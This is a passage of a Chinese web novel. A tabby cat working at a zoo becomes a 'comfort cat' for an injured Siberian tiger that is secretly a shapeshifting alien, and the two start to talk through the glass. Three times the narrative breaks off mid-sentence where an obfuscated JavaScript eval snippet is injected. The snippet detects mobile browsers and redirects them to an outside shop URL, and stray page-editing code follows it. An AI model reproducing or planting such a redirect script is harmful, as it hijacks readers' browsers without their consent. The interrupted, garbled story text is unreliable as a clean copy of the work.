一分钟后,秦寂看到一只猫团子昂首挺胸,尾巴高翘,大摇大摆迈着猫步出来,在隔离室的防爆玻璃前走了两个来回,左看右看,之后站起身,抬起一只前爪搭在隔离玻璃上,扭头看向某个方向,给了秦寂一颗圆润的猫猫后脑勺。 猫尾巴还在玻璃表面扫出了一个扇形。 秦寂对这个拥有精神力的猫崽有点好奇,正准备等小猫靠近,找个时机私下交流时,刚才还动作灵巧自然的狸花猫一个扭头,头也不回地走了。 秦寂:“……?” 老虎的尾巴尖纳闷地弯出一个问号。 东北虎睁开眼,微微张开还没来得及发出声音的嘴巴一顿,又缓缓闭上。 莫名有种被参观并且还打了卡的秦寂:“。” 这猫崽子到底来干什么的? …… 对着监控摄像头来了一段猫虎合影的江野飞快跑出虎园,跳上树枝的时候心脏还在剧烈跳动。 老虎好大。 好!刺!激! 江野的瞳孔撑出圆溜溜的黑豆,晶亮的眸光里翻涌着碎钻似的兴奋,背部和尾巴上的毛毛像是炸开的毛绒海胆。 就连鼻端的绒毛都因为急促的呼吸微微翕动着。 这才是大哥该玩的猫! 江野的嘴巴微张,露出两颗尖锐的小牙齿,一点点平复激动的情绪。 北区刚救助了老虎,虎园的监控肯定有人轮班盯着的。 明天上班的时候,狸花大哥敢于挑衅东北虎的威武视频肯定已经传播向园区的各个角落。 说不定还能空降热搜,再赚点额外的员工奖金什么的。 有段时间没吃新鲜的生三文鱼了。 江野一边喜滋滋地畅想自己的光辉形象,一边咪.咪呜呜着朝刚才埋冻干的地方一路小跑。 江野的记性很好,对动物园也十分熟悉,他抄近路用最快的速度找到埋冻干的树后,却见刚才用树叶埋得仔仔细细的地方被粗鲁刨开,活像是被狗拱过。 江野的冻干连同装冻干的小布包一并消失,案发现场一片狼藉。 “嗷——哈!!!” 江野瞬间进入暴躁状态,像是一只小豹子似的低吼哈气。 有、狗、味!!! *** 虎园的监控的确是被特意剪辑成了视频,发布到了动物园的官方账户上。 园长也的确是额外准备了给流量员工的工作福利。 但是直到下午两点的闹铃响起被按掉好几次,等在办公室里的人都没能等到从不迟到的狸花同事。 这让大家不禁有些担忧狸花的安全。 在人类的眼里,流浪猫再怎样也比不过家养的猫咪,在外面讨生活,吃喝住所都是难题,更别提像是江野一样还养着一大家子。 园长是知道江野的活动范围的,想了想,打电话给自家孙女,问问对方今天有没有见到狸花。 【野哥吗?呃……见是见到了。】 沈清的声音从按了免提的手机听筒里传出,语气听着却带了几分古怪。 办公室里的奶爸奶妈们顿时围上来。 “猫猫怎么样?是不是被欺负了?是人还是狗?没有受伤吧?” 【应该是没被欺负……吧?】 沈青欲言又止。 【野哥带了一群猫,这会儿正在我诊所门口揍小克呢。】 小克是沈园长家养的金毛,平常偶尔会和园长一起来园区遛弯,但更多时候是被沈青带在身边。 嗯? 那没事了。 大家心里的焦急担心顿时放下不少。 主要是江野虽然很有脾气个性,但实际上真的是非常有分寸的猫。 在园区都小半年了,没扑过鸟,没抓过人,没捣过乱,甚至都没哈过气,绝世好猫来的。 小克作为金毛,本来脾气就很好。 虽然不知道这两只是怎么产生了矛盾,但应该出不了大事。 发色银白的老园长推了推鼻梁上的眼镜,笑呵呵地把语音转成了视频。 沈青也十分上道地将摄像头对准了诊所大门外正在揍狗的狸花猫。 “嚯,这左勾拳。” “哈!猫爪回首掏!” “抱摔……没摔动,这很正常,宝宝真厉害!” 视频镜头里,江野正挥动前爪梆梆一顿锤的狗,是只看上去老实巴交的老抽色金毛。 沈青的声音再度传来:【虽然不知道发生了什么,但一定是小克的错!】 【这家伙的眼神都透着心虚,我老熟悉了,绝对是干了什么坏事。】 “说起来……小克昨天是不是来园区了?” 其中一个奶爸像是想起什么,若有所思,掏出手机开始翻找照片。 “对,当时大老远的我就看到小克在扒拉什么,之后还叼着个小袋子颠颠地跑了,我都没叫住,只拍了张照片。” 手机里微微有点虚焦的照片被放大,几人凑过去,看到了老抽色金毛嘴里叼着的小布袋。 袋子上,江野专用的猫爪图案还被狗嘴咬着一半。 破案了。 这顿打小克是真的不冤枉。 猫狗那边有沈青看着,办公室里的工作人员都放下心来。 沈园长挂了视频,面上重新挂上了担忧之色,大家也都知道园长最近在操心什么事。 “园长,那头东北虎还是不肯进食吗?” “是啊,都是最新鲜的生骨肉,一点都不吃。”沈园长叹了口气,“专门赶来的东北虎专家说是老虎不会进食非自己捕猎的食物,建议我们赶些猎物进去。” “它的腿伤成那样,不好捕猎吧?而且地方也……” 东北虎的领地意识非常强,需求的领地面积也很广阔,并且是极其典型的独居猛兽。 目前园区的虎区还有十几头老虎,这头东北虎野性十足,根本不可能放进虎区,而且它身上的伤很重,至少还需要两次手术,最近几个月都得待在方便观测的隔离救助区才行。 隔离救助区并不符合野生东北虎的领地需求,所以这头东北虎很有可能一直无法放下警惕,接受喂食。 沈园长摇头道:“只能再观察看看。” 好在东北虎的耐饿能力极强,这头东北虎的脂肪厚度又十分可观,即使受了重伤,在不进行运动消耗的情况下,五六天不进食也不会有太大的问题。 …… 江野旷了一天班千里追狗,出了一口恶气,并且从狗子主人手里拿到赔偿三文鱼后,便大方抬手饶过了那只心眼贼多,在拿到上天馈赠的冻干后直接当场吃干抹净的狗子。 之后的一周,江野当着自己的大哥,每天在巡视地盘和解决小弟纠纷中度过。 很快,就迎来又一个周六。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998847|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江野叼着工牌打了卡,正低头喝水时,就听到救助区那头东北虎已经绝食五天的消息。 江野震惊扭头,瞳孔地震。 江野的运动量大,体型也比一般的狸花猫大一圈,和布偶差不多,寻常猫是一天不吃饿得慌,江野是两个小时不吃就肚子叫。 所以江野不能想象,有猫可以绝食五天。 这毅力简直令猫不敢相信。 东区的兽医和工作人员们都在密切关注这头东北虎的情况,今天办公室里的人都少了好几个。 在被戴好摄像头后,江野想了想,原本准备去海洋馆的猫步一顿,掉头去了上周才去过的东区。 江野的脑袋悄悄从门口冒出两个耳朵尖尖,一点一点往外探,看向隔离救助区擦得锃亮的防爆玻璃。 玻璃上像有层特殊的膜,太阳再大也不刺眼,这会让里面被救助的动物在眯着眼休息的时候,不会被强光晃到。 顶部是能自动开合的遮阳棚,天热太阳毒的时候自己就合上,阴天或者凉快的时候又会打开透透气,不用人特意来操作。 地面不是硬邦邦的水泥地,铺着一层软乎乎的橡胶垫,踩上去有点弹性,跟野外的土地质感差不多。 地面上那些细缝看着不起眼,其实是排水的,脏东西和废水都能顺着流走,而且每隔一段时间,就会有细雾一样的东西喷出来消毒,闻着没有刺鼻的怪味儿,反而有点淡淡的草木香,很干净。 活动区的水流是循环活水,在池底汩汩流动,模拟野外的小溪。 不远处还有自动投喂槽,新鲜的肉块还冒着些许热气,但距离不远的东北虎却完全没有进食的意思,只是一动不动地趴在干草垫上。 江野静静观察了一会儿,觉得老虎好像也没什么可怕的,就是大一点的猫而已,于是再一次压低身形,肚皮几乎贴着地面,猫猫祟祟地从门口挪动到防爆玻璃前。 猫耳朵尖尖逐渐上移,不一会儿,一颗完整的猫猫头终于支起来。 江野坐在防爆玻璃前,两只前爪分开撑在台子上,歪着脑袋看向隔离区里面的大老虎。 脖颈戴着的摄像头闪动着工作中的绿灯。 这头老虎确实伤的很严重,左前肢缠着厚厚的纱布,应该是活动过,这会儿暗红的血渍已经浸透出来,沾染了些许干草碎屑。 其他的伤口江野看不清,但江野能看到其他的东西。 东区里有很多老虎,甚至还有少见的白老虎,但华夏动物园并不圈养猛兽,除非特殊情况(比如生病救助),也不会将老虎关进隔离区。 正儿八经的虎区是一片开阔的森林,中间会有一条用于投喂和参观的路,方便车辆行驶穿行。 江野来动物园后还没遇到老虎生病,而作为一只猫咪,平日里即使直播也是不会过去那种地方。 所以救助区的这头,是江野见过的第一头老虎。 但这并不妨碍江野觉得这头老虎很漂亮。 对,就是漂亮。 虽然颜色差了点,但是身上的条纹,纯黑的爪垫,厚实的耳朵,无一戳在江野的审美点上。 完全就是江野想象中自己该有的样子。 江野不自觉跳上台子,贴着防爆玻璃一点点往前走,慢慢试探着拉近自己和老虎的距离。 反正隔着一层防爆玻璃,怕什么! 猫就是这么任性且好奇心爆棚的动物。 秦寂原本趴在一个能晒到太阳的地方,江野靠近的时候他当然发现了,但却装作还在睡觉的样子,非常有耐心地等候最佳时机。 江野垫着脚伸着脖子凑近,试探性地张嘴低低呜呜嗷嗷了一句。 不远处的医生看到这一幕,注意到东北虎看似悠闲实则关注的小动作,忽然招招手,示意监控摄像头对过去。 5. 抚慰猫【五更】 东北虎没有回应江野的喵呜声。 金棕色的皮毛上布满黑色横纹,猛兽硕大的头颅枕在粗壮的前肢上,连眼皮都没掀一下,卧在原地一动不动。 江野后退半步,弓起身体,毛茸茸的后臀高高撅起,尾巴翘成一个紧绷的小弯钩,前肢绷直撑在地面,摆出一副蓄势捕猎的挑衅姿态。 然而,在巨大玻璃映出的虎影对比下,此刻的狸花大哥更像一颗……嗯,可可爱爱的小毛球。 秦寂晃了下尾巴,眼睛里满是笑意。 但他没有忽视这只猫崽子身上的异样。 没有人会将精神力完全外放,处于精神力逸散的状态,这在其他人眼里,就像是一面招摇过市的旗帜,危险程度不亚于一只鸟大摇大摆着在猫的眼前晃来晃去。 精神力之间是存在吞噬进化关系的,即使这在星际律法是重罪,也依旧有的是人克制不住想要变强的贪婪本能。 所以觉醒精神力的幼崽,要学的第一件事就是将自己的精神力完全收敛,越是弱小,越要藏匿。 但这只小猫完全没有收敛的意思,在秦寂的眼里,这只小猫几乎就是散发着金色光芒的毛茸茸大灯泡,存在感十足。 探出这只小猫的底细,确定对方不是追他来到这颗星球的敌人,秦寂便不感兴趣地收回视线。 他的精神海本来就受了伤,急需要补品,面对这种像是逗猫棒一样的诱.惑,他真的是用尽了自己的良心和恻隐之心,才忍住了不去啃一口猫。 估计是意外觉醒了精神力,并不知道该怎么用的小孩。 算了,眼不见心静。 秦寂不仅不再看江野,甚至还扭过虎头,面朝另一个方向,给了还在试图挑衅引起大猫注意的江野一个大猫后脑勺。 江野:“?” 还没这么被无视过的大哥愤怒了。 江野扑上去,两只前爪的粉色肉垫按在玻璃表面,锋锐的指甲尖嗒嗒嗒嗒快速叩击玻璃,发出一阵清脆的声响。 秦寂全然不为所动。 甚至生出几分逗小孩的悠闲,尾巴尖懒洋洋地翘了一下。 江野的自尊心多强呢,当下喵哼一声,也特别傲气地扭头走了。 不理就不理。 走了。 哼。 然而,秦寂以为的不理猫,江野眼里的不理虎,看在救助小组专家们的眼里,意义就不一样了。 在这之后,东北虎救助小组们又做了一连串的试验,得出这头受伤绝食的东北虎只对江野有异乎寻常的关注后,专家们找到了动物园的园长。 园长找到了巡视园区归来的江野。 …… 江野端坐在地上,毛茸茸的长尾巴自身后围过来,礼貌搭上并拢在身前的猫爪,歪头注视蹲在猫面前的沈园长。 兼职? 江野想到刚才园长说的话,扭头看了眼旁边金属导视牌倒映出的,毛茸茸的自己。 抚慰犬抚慰猫江野听过,小区里不仅有人类称呼养的宠物为抚慰犬抚慰猫,还有一些比平常狗子聪明不少的导盲犬。 动物园七大区域里,唯一不是动物聚集地的“动物幼儿园与保育中心区”里,就有动物抚慰这项需要提前预约并审核资格的特殊项目。 所以江野知道抚慰这个词大概意思就是陪伴治愈之类的。 但…… 他,狸花猫,抚慰东北虎? 这对吗? 江野在这方面是真的很有自知之明。 他进去还不够那头老虎一口吃的吧? 沈园长也知道自己的话容易被误解,解释道:“就是想让阿野平常闲的时候能多去隔离区转转,如果能像今天那样,隔着玻璃吃点东西引导一下那头受伤的东北虎就更好了。” 哦。 江野懂了。 这不就是对着老虎搞吃播? 江野刚来动物园那会儿,曾经围观其他动物搞过一阵子吃播,其中熊猫园里那些黑白熊掰竹子吃苹果的直播人气最高。 他刚入职的时候也对着镜头吃过一阵子。 但江野很快就有点吃烦了,总觉得这么吃饭不得劲,不舒服,才改成了直播巡视园区,看其他动物吃。 只是隔着玻璃陪一会儿东北虎,再顺便吃吃东西。 江野回忆刚才看到的那头老虎的状态,并不凶,也不吓猫,那毛毛斑纹瞅着还挺漂亮下饭。 这么看的话,当抚慰猫这工作好像也不是很难…… 甚至算得上是轻松又舒服的好活儿。 江野有点点心动。 猫脸上长长的胡须动了动,左耳朵尖稍稍往后压了下。 园长已经很熟悉江野了,一看就知道江野在犹豫,便趁热打铁许诺了不少好处。 “当然啦,咱们阿野可是请去帮大忙的猫,平常的伙食就对照着东北虎的配比来做,肉统统是最新鲜的,水是流动水,蛋不能少,盆盆奶也管够……” 江野顿时满意,矜持昂首,在园长的膝盖上按了一个灰扑扑的猫爪印。 *** 第二天,江野如约来到自己的工作岗位。 隔离区里的东北虎依旧卧在干草垫上晒太阳,看位置和动作,几乎就没挪过窝。 救助小组的成员已经知道了抚慰猫的事儿,虽然多少觉得有点子离谱,但做动物救助这么多年,稀奇古怪的事儿他们也是真的见多了。 他们给江野准备了份量缩水了几倍,但看上去更加精致的虎餐,不仅十分细心地剃掉了骨头,担心江野不会撕咬,还把肉都切成了短肉条,一圈一圈盘在盘子里,中间卧了两颗无菌蛋。 生肉旁边还有一盘用来磨牙的猫爪冻干小零食,以及充好电正在循环出水的喂水器。 江野先是去吨吨吨喝了一会儿水开胃,然后十分讲究但无用地跑去旁边的消毒地垫上擦了几下爪垫,朝着站在旁边的沈园长抬起头。 沈园长反应了一下,有些迷茫。 旁边的人闷不吭声地递过来一块小鱼饭兜。 沈园长眨眨眼,接过小鱼饭兜帮江野仔细戴在脖子上。 江野回到餐盘前,伸出前爪扒拉着挪了下餐盘的位置,找了个正对东北虎,视野十分开阔的地方,低下脑袋开始嘬肉吃蛋。 秦寂之前就听到了人类说要做什么,本来没想理那只猫的。 猫吃猫的生肉,他晒他的太阳。 然而几分钟后,被放大的嘬肉声丝丝缕缕钻入秦寂的虎耳朵,吵得秦寂心烦意乱。 秦寂不饿吗? 当然饿。 他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998848|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久没吃东西了,因为受了伤,他需要摄入的食物本应该更多。 他不吃饭只是在等那些人类反应过来,把加进那些肉里的药去掉罢了。 秦寂大概能猜到那些应该是一些补剂,但秦寂绝不会让不明效用和后遗症的东西进嘴,尤其是在一个完全陌生的环境。 但是—— 这可恶的小猫,吃饭就吃饭,吧唧嘴做什么! 秦寂闭着眼睛,抬起虎爪把耳朵按下来,尾巴重重抽了两下地板。 救助小组的成员狂喜:“有反应了!快,再加两个麦克风!声音调大点!” 江野嘴里叼着嘬了一半的肉条,看着一路小跑过来的人在他的盘子右边又加了一个麦克风。 嗯…… 行叭。 看在肉挺好吃的份上。 江野滋溜完一根肉条,感觉自己差不多七分饱,伸出舌头舔了一口金灿灿的蛋黄,满意地看着蛋黄一点点流出来,低头有一口没一口地舔蛋黄,故意把动作放得很慢,声音吧唧得更香。 吃播嘛,讲究一个声音洪亮。 作为一只粉丝量庞大的网红猫,江野是很有职业素养的。 即使直播的观众不是人。 慢条斯理,吧唧吧唧舔完一颗蛋黄,江野舔了一圈嘴边的毛毛,走到喂水器旁边开始吨吨吨喝水。 被烦得开始用尾巴啪.啪.啪抽地面的秦寂松了口气,死死按着耳朵的虎爪试探着放下来。 吃完了? 也对,猫才多大点,能吃多少东西。 秦寂秉持着只要自己不给反应,这抚慰猫就能下岗的想法,虎爪耷拉,脑袋一趴,刚准备开始睡,就听到一阵嘎吱嘎吱的咀嚼声。 那声音幽幽飘进来,直勾勾往秦寂耳朵里钻。 秦寂:“?” 秦寂虎脸震惊地看向玻璃外的狸花猫。 不是,你还没吃完?! 江野漱过口,冲淡嘴里的生肉味儿,原地做了个猫式伸展,身后的尾巴都抻出了直溜溜的模样,这才觉得舒服了。 猫走到零食盘子前面蹲坐下来,扭头看旁边正在用手机拍拍拍,一脸诡异笑容的人类。 见工作人员没反应过来,江野无奈地伸出右爪,用力按了下装猫爪冻干的盘子边缘,发出清脆的咣当声。 工作人员连忙上来,把刚才夹在生骨肉盘子上的麦克风挪到了冻干零食的盘子边上。 冻干被做成了猫爪的形状,大小也和江野的半个猫爪差不多大,比起其他的冻干,这种冻干说是用来吃的零食,其实更方便磨牙。 江野还挺喜欢的。 江野看到过布偶少爷的姐姐按着布偶给猫刷牙,他受不了那个,不过听好几个人说猫蛀牙会牙齿掉光,所以江野平常吃完饭会有意漱口,还会定时找人类打猎这种磨牙的冻干清洁牙齿。 放了别的猫,遇上这种冻干棒,肯定会努力咬开然后一口吞下去。 但江野不。 江野是真的存心在用冻干棒仔仔细细磨牙,摩得十分仔细,左边牙齿磨完右边磨,一根冻干棒能吃二十多分钟。 嘎吱嘎吱的声音就这么像是锯木头的锯子一样,来回折磨秦寂的脑神经。 终于,秦寂忍无可忍,站起身,朝着江野走过来。 6. 猫的“抚慰”【六更】 不论是从猫的审美还是人的审美,江野都是非常好看帅气的猫。 额头宽阔,下巴结实,耳朵尖挺,绿中带金的眼睛媲美最剔透的翡翠,眼周自带黑色上挑的全包眼线,身上黑、灰、棕三色交织成虎斑纹,天然带着霸气侧漏的气场。 身体线条流畅,充满力量感的肌肉紧实,散发着野性与活力的魅力。 但狸花猫和狸花猫之间也存在个体差异。 除却本身的聪明,江野在外表上的特殊性也很明显。 江野耳朵尖的聪明毛和耳廓长出的犟种毛几乎差不多长,体型也比寻常狸花猫大,围脖一圈的毛也稍长些。 是一只非常聪明的犟种猫。 当初沈青第一次见到江野的时候,还以为江野有缅因猫的血统,但怎么看都从江野的猫脸特征中看不出缅因特有的大嘴套,十分稀罕地盯了好一阵。 秦寂这会儿就在盯着江野耳朵尖和耳廓长出来的长毛毛看。 吧唧嘴什么的不提,这只小猫长得是真的挺好看。 把自己养的很好,人类形态下应该也很健康。 就是这精神力发育得委实一言难尽。 不过秦寂从来都不喜欢咋咋呼呼吵吵闹闹的小孩儿,他自认不是什么品德高尚的虎,没在这种律法之外的星球一口吃掉小猫已经算是很有良心,没有教导小猫的义务。 江野当然有感觉到身后靠近的庞然大物。 说实话,老虎就算不发威,那种体型差带来的威慑力也绝对惊人。 好在这会儿有防爆玻璃隔着,江野几乎闻不到老虎的气味,不然这抚慰猫的工作恐怕做不了一点。 但这虎靠近了之后不吭声,也不动作,似乎就只想挪一下位置,在靠近江野的玻璃另一边又趴下了。 江野微微扭头,用眼角余光瞥向四肢舒展到一边,整只虎又开始昏昏欲睡的大猫。 这大猫怎么什么时候看到都闭着眼睛在睡觉。 是因为受伤了? 当大哥当惯了,骨子里莫名有种怜爱弱小的江野心中生出几分恻隐。 ——主要是江野意识到,反正隔着防爆玻璃,老虎再凶也不能拿猫怎么样。 更别说这头老虎看着还挺友好斯文的。 江野隔着玻璃近距离看向东北虎,圆圆的瞳孔收缩成竖瞳,被面前的一幕刺激得整只猫都兴奋起来。 狸花猫的灵魂带着对自由的向往和慕强的本能。 江野更是如此。 他讨厌一切的束缚,所以即使动物园的人类对猫体贴又照顾,要什么给什么,江野也还是选择了银货两讫的自由雇佣关系。 江野动动鼻子,同样是深色条纹的皮毛擦着玻璃的表面,悄无声息地走了一个来回,把玻璃对面的大猫从虎头到虎尾仔仔细细端详了一遍,目光在对方纯黑的爪垫上停留了好一会儿。 江野在台面上踩了踩自己粉色的爪垫。 可恶,黑色好帅。 粉色一点都不大哥。 但经过这么一番试探,江野确认了自己的安全,便开始肆无忌惮地浪起来。 同样趴在玻璃旁边的秦寂听到通过音响传进来的咪.咪喵喵声,整只虎无语极了。 他走过来的确存着几分想要恐吓小猫的意思,但走过来之后,看着自己和对面的体型差,秦寂又觉得吓唬小孩没什么意思。 可这么灰溜溜回去实在是太没面子了,于是秦寂选择原地卧下,看这活跃的小猫还能做出什么新花样。 左右在这里面养伤挺无聊,他还饿着肚子,能转移一下注意力也不错。 这小猫干什么都可以,只要别再吧唧嘴就行。 不过越是观察,秦寂越是确认对面的小猫情况很古怪,精神力似有若无,时强时弱,并且对他有种存在感极强的吸引力。 谨慎起见,秦寂没有对江野暴露自己。 这个落后星球究竟是怎么一回事? 再观察一下好了。 …… 江野隔着玻璃搔首弄姿了好一会儿,对面的虎都没什么太大的反应,只偶尔动一下尾巴。 江野觉得自己在这唱独角戏实在是有点无聊,但工资都已经下肚了,吃人嘴短,猫总不能不干活。 他想了想,转头走出隔离区。 秦寂感觉到那团精神力离开,睁开眼,看向狸花猫毛茸茸的背影。 十几分钟后,江野回来了,身后还跟着一个怀里抱着一堆东西的工作人员。 在救助小组和园长的无声注视下,被猫挑选的幸运人硬着头皮给猫放好折叠小桌板,拍软长毛小沙发,并且支好平板,打开视频APP播放猫和老鼠,又放了一桶放了撕开包装的猫零食,最后恭敬地退下。 江野满意地跳上充满猫味儿的小沙发,在上面踩出了几个凹下去又恢复的小梅花爪印,舒舒服服的趴了下来,开始聚精会神看动作电影。 回到旁边观察区的幸运人对上自家园长的视线,捏着耳垂,心虚道:“我们真的就只买了一点点东西……也不知道怎么就变这么多了。” 大概是怕园长问别的,这人嘴上叭叭叭像是机关枪一样,语速飞快地叙述了一遍江野回去办公室叫人打包东西的行为。 救助小组的专家们一边看似聚精会神观察记录不远处的虎猫情况,一边竖着耳朵偷听。 沈园长是个脾气很好的老人,心平气和地开口:“你知道我想问的不是这个。” 小野的确是很聪明的猫,但是这种享受的方式,也太过人类化了。 幸运人闻言,视线越发游移,小小声回答:“就是,我们偶尔值班的时候会休息放松摸鱼一下……野哥也不知道什么时候就学会了,我们就……就贿赂了一下野哥。” 同事之间达成摸鱼联盟的最好方式是什么。 是同流合污。 如果你在摸鱼打游戏或者看视频的时候,旁边桌子上蹲坐着一只眼神十分不赞同地聪明狸花,你也会心虚忐忑到坐立不安的。 但如果这只狸花和你一样瘫在沙发里吃零食看动画片,那就没有任何问题了。 于是,原本正直纯洁很有职业素养的狸花大哥,就这么被人类万恶的享乐主义腐蚀,变成了一只会上班摸鱼的老油条猫。 沈园长沉默了一会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998849|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对江野的智商和学习能力有了新的认知。 他倒不是不能接受员工摸鱼,夜班值班的时候的确辛苦又漫长,只要不耽误事儿,适当休息一下没什么。 但怎么能教坏一只白纸一样的小猫咪? 沈园长很想说些什么,可抬眼看到用尖指甲勾着两颗冻干,一边看动画片一边往嘴里塞的狸花猫,园长又咽下了嘴边的话。 学都已经学会了,难道他要去对着一只猫说教吗? 这也太…… 老人抬手捏住自己的鼻梁,只觉得头疼。 配得感很强的猫并没有人类员工那样的心虚,江野对当着园长面上班摸鱼这件事毫不在意,只有对自己灵机一动的骄傲满意。 比起手机,江野更喜欢平板,毕竟手机的大小对猫爪来说实在是不好操作。 江野看了一集猫和老鼠,吃了几粒冻干,有点口渴,跳下小沙发走去旁边喝水。 然后发现工作人员居然在饮水机旁边也加了麦克风。 喝水而已,也要给虎同步声音吗? ……也行吧。 反正对江野来说没差,他无视了麦克风低头专心喝水。 被吧唧吧唧声音立体环绕的秦寂:“……” 这小猫怎么喝水的时候也吧唧嘴! 因为伤势未愈加饿肚子本来就心情不好的虎绷紧胡须,大脑袋十分烦躁地往前爪下面一塞。 虎忍。 和秦寂想的一样,再慢条斯理地吧唧嘴,水也有喝不下的时候。 虎的耳朵动了动。 下一秒,短视频的嘈杂声强势闯入秦寂的耳朵,中间还伴随着小猫咪.咪喵喵的骂声,和嗷嗷呜呜的笑声,偶尔还带着两三下磨爪子拍尾巴的动静。 秦寂:“……” 这小祖宗又在玩什么新花样。 但很快,秦寂就从短时间内一直切换,信息量庞大的声音里提取到了某些信息,抬起脑袋,神情认真专注地看向江野的方向。 秦寂对这个星球的文明和社会信息很感兴趣,虽然他能从动物园的情况多少估量出这个文明的科技落后,但更多的信息却并没有途径获取。 显而易见的,小猫面前那个被爪垫不断划拉的设备,虽然稍显笨重,但应该就是这个星球的数据终端。 有了终端才能联网,有了网络,获取信息的渠道才会被完全打开。 更好安排之后的行动。 毕竟留在动物园养伤只是秦寂的权宜之计,他对一直留在动物园当老虎被人摆弄参观没什么兴趣。 于是,在救助小组的万分激动的屏息注视下,小山一样的东北虎盯着狸花猫的后脑勺看了又看,终于又站了起来,模样一改之前人猫不理的恹恹,抬起一只虎爪,爪垫贴上了防爆玻璃,认真注视正在刷短视频的狸花猫。 巨大的虎影一点点笼罩江野。 江野一愣,下巴抬高,脑袋后仰,保持着姿势不变的状态,慢动作朝后看。 圆溜溜的mini猫眼睛对上同样圆溜溜的Pro Max虎眼睛。 江野嗷得一声原地起跳,一脚踹飞了面前的平板。 7. 虎的名字【七更】 江野好虎就和叶公好龙一个意思。 离得近了,江野作为猫咪的本能立刻被激发,身上毛毛根根分明地炸成了刺猬球。 但江野很快就发现,这头老虎,好像不是对猫感兴趣,而是…… 江野伸出前爪,用力扒拉了一下刚才被猫踹飞,掉在地上的平板。 虎的视线依旧落在短视频重复播放的平板上。 江野原本紧紧贴着地面的尾巴动了动,蠢蠢欲动地扫了两下,再次伸出猫爪。 一记猫猫拳,怼得平板滑出去老远。 被玻璃挡着,只能目送平板远去的秦寂目光挪动,缓缓落在了一双三角猫耳朵撇得都快贴在后脑勺上的江野身上。 被老虎注视,江野的身体下压趴伏在地面上,却不是代表臣服,而是发出些许狩猎意味的挑衅。 秦寂原地蹲坐着,对小猫隔着一层玻璃的打架邀请视若无睹,只是抬起用纱布层层包扎的前爪,在救助人员紧张的注视下,低头很是敷衍地舔了两下。 “不能再舔了!伤口才刚缝合,纱布万一被舔开,伤口被撕裂怎么办!” 江野的猫耳朵弹了两下,听到救助小组那边传来的惊呼,哼哼喵喵了一声,不再故意挑衅,直起身,猫步灵活地走到不远处的平板前面,又一记猫猫拳,把平板怼回了隔离玻璃前。 没错,猫干坏事的时候就是知道这是在做坏事。 但猫从不心虚内耗。 猫就是猫。 猫想干。 猫行动。 猫快乐! 不过猫在爽过之后,也是愿意好好配合工作的。 江野喵着把旁边的工作人员叫过来,在小桌板和平板都支好后,毫不扭捏地往小桌板后面一坐,毛茸茸的脊背贴着隔离区的玻璃,伸着猫爪给虎刷短视频看。 但猫天性就是恃宠而骄的坏毛毛。 江野用眼角余光观察着虎,故意在虎认真看的时候切掉正在播放的短视频,又有意在虎表现出不感兴趣或者无语的情绪后,慢慢悠悠吃零食冻干,就是不伸爪子切换下一个短视频。 秦寂又不是单纯的老虎,一次两次可能是巧合,次数多了,被迫看了好几条婆媳争执短视频的秦寂眉骨下压,定定盯向坏心眼的猫。 猫的尾巴翘着,尾巴尖尖在虎眼前十分欠揍地左晃右晃。 再加上那股诱.惑力极强的像是小火苗一样的精神力,简直就是一个用猫薄荷做出来的逗虎棒。 秦寂的前爪在地面上抓了又抓。 身上的腱子肉紧绷又放松。 只有虎自己听得到后槽牙的摩擦声。 这倒霉小猫! 秦寂的虎爪在地上踩了好一会儿,但平板掌控在猫的爪子里,并且想也知道,动物园的人类应该不太可能给虎一个平板或其他移动数据设备。 现实面前,虎不得不低头。 秦寂磨了磨牙,压低声音,张开嘴:“吼……嗷。” 动物园里所有隔离园区的防爆玻璃其实都是隔音的,毕竟不能让外面游客或者其他的声音影响到里面的动物。 这也是为什么工作人员会在江野身边夹了好几个麦克风,以确定虎所在的隔离区里350度无死角回荡猫的吧唧嘴的喵喵声。 同样的,隔离区里的声音在穹顶没有开放的前提下,也不太可能传播到外面,毕竟狼嚎虎啸熊咆哮这样的声音,一定程度上也会恐吓惊扰到一些胆小的食草动物。 但江野却听到了这声低低的虎叫。 “不看,这个。” 并且,江野还听懂了。 狸花猫噌得一下扭过头,目光炯炯地看向身后一面玻璃之隔的东北虎。 这是江野第一次听懂猫语和人语之外的语言——不过大层面来讲,虎也是猫来着。 猫能听懂虎说话很正常。 秦寂当然用了一点精神力才让声音传入小猫耳朵里,但他并没有解释,只是以一头老虎的身份和小猫对话。 江野原本就是杏仁形状的猫眼睛瞪得更圆了,瞳孔收缩,喵喵啊啊着试探。 “你在说话?” “嗯。” 秦寂表现得十分沉着,很有大猫风范。 江野立刻起劲,从猫没去过的野外种种问到当老虎的感觉,开始咪咪嗷嗷像是一只小机关枪猫一样突突突问问题。 